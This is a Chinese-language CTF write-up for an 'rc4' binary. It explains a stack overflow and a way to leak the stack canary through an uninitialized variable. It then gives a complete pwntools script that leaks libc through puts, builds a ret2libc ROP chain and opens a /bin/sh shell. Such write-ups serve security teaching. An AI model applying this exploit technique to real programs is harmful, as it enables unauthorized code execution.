首先,检查一下程序的保护机制
然后,我们用IDA分析一下,存在**[栈溢出漏洞]{.mark}**
由于开启了canary,因此,我们需要泄露canary,由于低位覆盖泄露出来的信息是加密的,解密可能比较麻烦,我们另选其他方法。[功能a里有一个不起眼的漏洞]{.mark}
后面,输出了v7的内容
然而,v6和v7仅仅在dword_6020CC = 0时被初始化,[如果它们未初始化,其值会是什么?]{.mark}
[如果v7未初始化,其值就是canary的值。]{.mark}
因此,我们就用这种方法来泄露canary,然后就是正常的栈溢出操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import * from LibcSearcher import * sh = process('./rc4')
elf = ELF('./rc4') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = 0x4010BB pop_rdi = 0x401283 def Generate_Key(c): sh.sendlineafter('>','a') sh.sendlineafter('>',c) def Do_Encode(content): sh.sendlineafter('>','b') sh.sendline(content) def Exit(): sh.sendlineafter('>','d') sh.sendline() Generate_Key('b') Generate_Key('d') data = sh.recvuntil('\n')[16:] length = len(data) canary = '' for i in range(length-1,-1,-2): canary += data[i-2:i] canary = int(canary,16) print 'canary=',hex(canary) payload = 'a'*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) Do_Encode(payload) Exit() sh.recvuntil('> ')
puts_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') print 'libc_base=',hex(libc_base) payload = 'a'*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) Do_Encode(payload) Exit() sh.interactive()
|
通过本题,我们知道了**[程序里每个函数的canary都是同一个值,即泄露任何一个函数的canary,就能给其他函数使用]{.mark}**